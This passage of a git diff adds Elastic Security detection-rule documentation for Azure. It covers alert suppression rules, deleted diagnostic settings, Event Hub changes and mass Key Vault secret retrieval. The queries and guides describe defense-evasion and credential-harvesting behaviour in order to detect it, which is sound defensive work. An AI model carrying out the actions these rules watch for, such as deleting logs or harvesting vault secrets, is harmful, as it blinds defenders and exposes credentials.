TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc new file mode 100644 index 0000000000..9500f5456a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-azure-diagnostic-settings-alert-suppression-rule-created-or-modified]] +=== Azure Diagnostic Settings Alert Suppression Rule Created or Modified + +Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly configured, resulting in defense evasions and loss of security visibility. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations +* https://docs.microsoft.com/en-us/rest/api/securitycenter/alerts-suppression-rules/update + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 110 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Diagnostic Settings Alert Suppression Rule Created or Modified* + + +Azure Alert Suppression Rules are used to manage alert noise by filtering out known false positives. However, adversaries can exploit these rules to hide malicious activities by suppressing legitimate security alerts. The detection rule monitors Azure activity logs for successful operations related to suppression rule changes, helping identify potential misuse that could lead to defense evasion and reduced security visibility. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific suppression rule that was created or modified by filtering logs with the operation name "MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and ensuring the event outcome is "success". +- Determine the identity of the user or service principal that performed the operation by examining the associated user or service account details in the activity logs. +- Investigate the context and justification for the creation or modification of the suppression rule by checking any related change management records or communications. +- Assess the impact of the suppression rule on security visibility by identifying which alerts are being suppressed and evaluating whether these alerts are critical for detecting potential threats. +- Cross-reference the suppression rule changes with recent security incidents or alerts to determine if there is any correlation or if the rule could have been used to hide malicious activity. +- Verify the legitimacy of the suppression rule by consulting with relevant stakeholders, such as security operations or cloud management teams, to confirm if the change was authorized and aligns with security policies. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may trigger alerts when legitimate suppression rules are created or modified. To manage this, establish a baseline of expected changes and create exceptions for known maintenance periods or personnel. +- Automated processes or scripts that regularly update suppression rules for operational efficiency can generate false positives. Identify these processes and exclude their activity from alerting by using specific identifiers or tags associated with the automation. +- Changes made by trusted third-party security services that integrate with Azure might be flagged. Verify the legitimacy of these services and whitelist their operations to prevent unnecessary alerts. +- Frequent updates to suppression rules due to evolving security policies can lead to false positives. Document these policy changes and adjust the alerting criteria to accommodate expected modifications. +- Temporary suppression rules created during incident response to manage alert noise can be mistaken for malicious activity. Ensure these rules are documented and time-bound, and exclude them from alerting during the response period. + + +*Response and remediation* + + +- Immediately review the Azure activity logs to confirm the creation or modification of the suppression rule and identify the user or service account responsible for the change. +- Temporarily disable the suspicious suppression rule to restore visibility into potential security alerts that may have been suppressed. +- Conduct a thorough investigation of recent alerts that were suppressed by the rule to determine if any malicious activities were overlooked. +- If malicious activity is confirmed, initiate incident response procedures to contain and remediate the threat, including isolating affected resources and accounts. +- Escalate the incident to the security operations team for further analysis and to assess the potential impact on the organization's security posture. +- Implement additional monitoring and alerting for changes to suppression rules to ensure any future modifications are promptly detected and reviewed. +- Review and update access controls and permissions for creating or modifying suppression rules to ensure only authorized personnel can make such changes. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and +event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-diagnostic-settings-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-diagnostic-settings-deleted.asciidoc new file mode 100644 index 0000000000..b8c49cf181 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-diagnostic-settings-deleted.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-azure-diagnostic-settings-deleted]] +=== Azure Diagnostic Settings Deleted + +Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings +* https://www.microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Azure + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Diagnostic Settings Deleted* + + +Azure Diagnostic Settings are crucial for monitoring and logging platform activities, sending data to various destinations for analysis. Adversaries may delete these settings to hinder detection and analysis of their activities, effectively evading defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs for successful deletion operations, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- If this is a service principal, determine which application is associated with it and examine credential use with authentication sources to identify potential compromise. +- Examine the resource group and subscription context to understand the scope of the deletion and whether it affects critical resources. +- Check the timestamp of the deletion event to determine when the diagnostic settings were removed and correlate this with other security events or alerts around the same time. +- Investigate the affected resources by identifying which diagnostic settings were deleted and assess the potential impact on monitoring and logging capabilities. +- Review any recent changes or activities performed by the identified user or service principal to determine if there are other suspicious actions that might indicate malicious intent. +- Assess the current security posture by ensuring that diagnostic settings are reconfigured and that logging and monitoring are restored to maintain visibility into platform activities. + + +*False positive analysis* + + +- Examine the service principal or user account involved in the deletion to determine if it is part of an automated process or legitimate administrative activity. +- Automated scripts or tools used for managing Azure resources might delete diagnostic settings as part of their operation. Review and whitelist these scripts if they are verified as non-threatening. +- Changes in organizational policy or compliance requirements could lead to legitimate deletions. Confirm with relevant teams if such policy changes are in effect. +- Test environments often undergo frequent configuration changes, including the deletion of diagnostic settings. Consider excluding these environments from the rule or adjusting the rule to account for their unique behavior. +- Ensure that any third-party integrations or services with access to Azure resources are reviewed, as they might inadvertently delete diagnostic settings during their operations. + + +*Response and remediation* + + +- Immediately isolate affected Azure resources to prevent further unauthorized changes or deletions. This may involve temporarily restricting access to the affected subscriptions or resource groups. +- Review the Azure activity logs to identify the source of the deletion request, including the user account, service principal and IP address involved. This will help determine if the action was authorized or malicious. +- Recreate the deleted diagnostic settings as soon as possible to restore logging and monitoring capabilities. Ensure that logs are being sent to secure and appropriate destinations. +- Conduct a thorough investigation of the user account or service principal involved in the deletion. If the account is compromised, reset credentials, and review permissions to ensure they are appropriate and follow the principle of least privilege. +- Escalate the incident to the security operations team for further analysis and to determine if additional resources or expertise are needed to address the threat. +- Implement additional monitoring and alerting for similar deletion activities to ensure rapid detection and response to future attempts. +- Review and update access controls and policies related to diagnostic settings to prevent unauthorized deletions, ensuring that only trusted and necessary personnel have the ability to modify these settings. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs + and azure.activitylogs.operation_name:"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE" + and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-event-hub-authorization-rule-created-or-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-event-hub-authorization-rule-created-or-updated.asciidoc new file mode 100644 index 0000000000..1d6e66384b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-event-hub-authorization-rule-created-or-updated.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-azure-event-hub-authorization-rule-created-or-updated]] +=== Azure Event Hub Authorization Rule Created or Updated + +Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's recommended that you treat this rule like an administrative root account and don't use it in your application. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/event-hubs/authorize-access-shared-access-signature + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Platform: Azure +* Domain: Identity +* Data Source: Azure Activity Logs +* Service: Azure Event Hubs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Event Hub Authorization Rule Created or Updated* + + +Azure Event Hub Authorization Rules manage access to Event Hubs via cryptographic keys, akin to administrative credentials. Adversaries may exploit these rules to gain unauthorized access or escalate privileges, potentially exfiltrating data. The detection rule monitors for the creation or modification of these rules, flagging successful operations to identify potential misuse or unauthorized changes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal associated with the operation by examining the `azure.activitylogs.operation_name` and `event.outcome` fields. +- Check the timestamp of the event to determine when the authorization rule was created or updated, and correlate this with any other suspicious activities around the same time. +- Investigate the specific Event Hub namespace affected by the rule change to understand its role and importance within the organization. +- Verify if the `RootManageSharedAccessKey` or any other high-privilege authorization rule was involved, as these carry significant risk if misused. +- Assess the necessity and legitimacy of the rule change by contacting the user or team responsible for the Event Hub namespace to confirm if the change was authorized and aligns with operational needs. +- Examine any subsequent access patterns or data transfers from the affected Event Hub to detect potential data exfiltration or misuse following the rule change. + + +*False positive analysis* + + +- Routine administrative updates to authorization rules by IT staff can trigger alerts. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or deployment tools that update authorization rules as part of regular operations may cause false positives. Identify these scripts and exclude their activity from alerts by filtering based on their service principal or user identity. +- Changes made by trusted third-party services integrated with Azure Event Hub might be flagged. Verify these services and exclude their operations by adding them to an allowlist. +- Frequent updates during development or testing phases can lead to false positives. Consider setting up separate monitoring profiles for development environments to reduce noise. +- Legitimate changes made by users with appropriate permissions might be misinterpreted as threats. Regularly review and update the list of authorized users to ensure only necessary personnel have access, and exclude their actions from alerts. + + +*Response and remediation* + + +- Immediately revoke or rotate the cryptographic keys associated with the affected Event Hub Authorization Rule to prevent unauthorized access. +- Review the Azure Activity Logs to identify any unauthorized access or data exfiltration attempts that may have occurred using the compromised authorization rule. +- Implement conditional access policies to restrict access to Event Hub Authorization Rules based on user roles and network locations. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. +- Conduct a security review of all Event Hub Authorization Rules to ensure that only necessary permissions are granted and that the RootManageSharedAccessKey is not used in applications. +- Enhance monitoring and alerting for changes to authorization rules by integrating with a Security Information and Event Management (SIEM) system to detect similar threats in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/AUTHORIZATIONRULES/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-event-hub-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-event-hub-deleted.asciidoc new file mode 100644 index 0000000000..f281aaf339 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-event-hub-deleted.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-azure-event-hub-deleted]] +=== Azure Event Hub Deleted + +Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about +* https://azure.microsoft.com/en-in/services/event-hubs/ +* https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-features + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs +* Service: Azure Event Hubs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Event Hub Deleted* + + +Azure Event Hub is a scalable data streaming platform and event ingestion service, crucial for processing large volumes of data in real-time. Adversaries may target Event Hubs to delete them, aiming to disrupt data flow and evade detection by erasing evidence of their activities. The detection rule monitors Azure activity logs for successful deletion operations, flagging potential defense evasion attempts by identifying unauthorized or suspicious deletions. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking the operation name "MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Investigate the context of the deletion by reviewing recent activities performed by the identified user or service principal to determine if there are any other suspicious actions. +- Check for any recent changes in permissions or roles assigned to the user or service principal to assess if the deletion was authorized or if there was a potential privilege escalation. +- Correlate the deletion event with other security alerts or incidents in the environment to identify if this action is part of a larger attack pattern or campaign. +- Communicate with relevant stakeholders or teams to verify if the deletion was part of a planned operation or maintenance activity. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger deletion logs. Verify if the deletion aligns with scheduled maintenance activities and exclude these operations from alerts. +- Automated scripts or tools used for managing Azure resources might delete Event Hubs as part of their normal operation. Identify these scripts and whitelist their activity to prevent false positives. +- Test environments often involve frequent creation and deletion of resources, including Event Hubs. Exclude known test environments from monitoring to reduce noise. +- Changes in organizational policies or restructuring might lead to legitimate deletions. Ensure that such policy-driven deletions are documented and excluded from alerts. +- Misconfigured automation or deployment processes can inadvertently delete Event Hubs. Regularly review and update configurations to ensure they align with intended operations and exclude these from alerts if verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Event Hub namespace to prevent further unauthorized deletions or modifications. This can be done by restricting access through Azure Role-Based Access Control (RBAC) and network security groups. +- Review and revoke any suspicious or unauthorized access permissions associated with the deleted Event Hub. Ensure that only authorized personnel have the necessary permissions to manage Event Hubs. +- Restore the deleted Event Hub from backups if available, or reconfigure it to resume normal operations. Verify the integrity and completeness of the restored data. +- Conduct a thorough audit of recent Azure activity logs to identify any other unauthorized actions or anomalies that may indicate further compromise. +- Escalate the incident to the security operations team for a detailed investigation into the root cause and to assess the potential impact on other Azure resources. +- Implement additional monitoring and alerting for Azure Event Hub operations to detect and respond to similar unauthorized activities promptly. +- Review and update security policies and access controls for Azure resources to prevent recurrence, ensuring adherence to the principle of least privilege. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc new file mode 100644 index 0000000000..44360bcd9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-azure-key-vault-excessive-secret-or-key-retrieved]] +=== Azure Key Vault Excessive Secret or Key Retrieved + +Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 43 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Key Vault +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: Azure +* Service: Azure Key Vault + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Excessive Secret or Key Retrieved* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious. +- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources. +- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault. +- Check the `source.ip` or `source.geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity. +- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents. +- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies. + + +*False positive analysis* + +- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + +- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals. +- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault. +- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals. +- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts. +- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets. +- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments. + + +==== Setup + + + +*Required Azure Key Vault Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault: +- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.platformlogs-* metadata _id, _index + +// Filter for Azure Key Vault read operations +| where data_stream.dataset == "azure.platformlogs" + and event.action in ( + "VaultGet", + "KeyGet", + "KeyList", + "KeyListVersions", + "KeyGetDeleted", + "KeyListDeleted", + "SecretGet", + "SecretList", + "SecretListVersions", + "SecretGetDeleted", + "SecretListDeleted", + "CertificateGet", + "CertificateList", + "CertificateListVersions", + "CertificateGetDeleted", + "CertificateListDeleted", + "CertificatePolicyGet", + "CertificateContactsGet", + "CertificateIssuerGet", + "CertificateIssuersList" + ) + +// Truncate timestamps into 1-minute windows +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Aggregate identity, geo, resource, and activity info +| stats + Esql_priv.azure_platformlogs_identity_claim_upn_values = values(azure.platformlogs.identity.claim.upn), + Esql.azure_platformlogs_identity_claim_upn_count_distinct = count_distinct(azure.platformlogs.identity.claim.upn), + Esql.azure_platformlogs_identity_claim_appid_values = values(azure.platformlogs.identity.claim.appid), + + Esql.source_ip_values = values(source.ip), + Esql.source_geo_city_values = values(source.geo.city_name), + Esql.source_geo_region_values = values(source.geo.region_name), + Esql.source_geo_country_values = values(source.geo.country_name), + Esql.source_as_organization_name_values = values(source.as.organization.name), + + Esql.event_action_values = values(event.action), + Esql.event_count = count(*), + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.azure_resource_name_count_distinct = count_distinct(azure.resource.name), + Esql.azure_resource_name_values = values(azure.resource.name), + Esql.azure_platformlogs_result_type_values = values(azure.platformlogs.result_type), + Esql.cloud_region_values = values(cloud.region), + + Esql.agent_name_values = values(agent.name), + Esql.azure_subscription_id_values = values(azure.subscription_id), + Esql.azure_resource_group_values = values(azure.resource.group), + Esql.azure_resource_id_values = values(azure.resource.id) + +by Esql.time_window_date_trunc, azure.platformlogs.identity.claim.upn + +// keep relevant fields +| keep + Esql.time_window_date_trunc, + Esql_priv.azure_platformlogs_identity_claim_upn_values, + Esql.azure_platformlogs_identity_claim_upn_count_distinct, + Esql.azure_platformlogs_identity_claim_appid_values, + Esql.source_ip_values, + Esql.source_geo_city_values, + Esql.source_geo_region_values, + Esql.source_geo_country_values, + Esql.source_as_organization_name_values, + Esql.event_action_values, + Esql.event_count, + Esql.event_action_count_distinct, + Esql.azure_resource_name_count_distinct, + Esql.azure_resource_name_values, + Esql.azure_platformlogs_result_type_values, + Esql.cloud_region_values, + Esql.agent_name_values, + Esql.azure_subscription_id_values, + Esql.azure_resource_group_values, + Esql.azure_resource_id_values + +// Filter for suspiciously high volume of distinct Key Vault reads by a single actor +| where Esql.azure_platformlogs_identity_claim_upn_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_action_count_distinct >= 2 + +| sort Esql.time_window_date_trunc desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-modified.asciidoc new file mode 100644 index 0000000000..4437df46a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-modified.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-azure-key-vault-modified]] +=== Azure Key Vault Modified + +Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.activitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also 